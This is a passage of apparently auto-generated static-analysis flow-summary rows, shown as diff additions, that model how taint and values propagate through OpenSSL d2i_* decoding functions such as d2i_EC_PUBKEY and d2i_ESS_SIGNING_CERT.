"d2i_EC_PUBKEY", "(EC_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY", "(EC_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY_bio", "(BIO *,EC_KEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID", "(ESS_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_CERT_ID_V2", "(ESS_CERT_ID_V2 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_ISSUER_SERIAL", "(ESS_ISSUER_SERIAL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT", "(ESS_SIGNING_CERT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ESS_SIGNING_CERT_V2", "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, 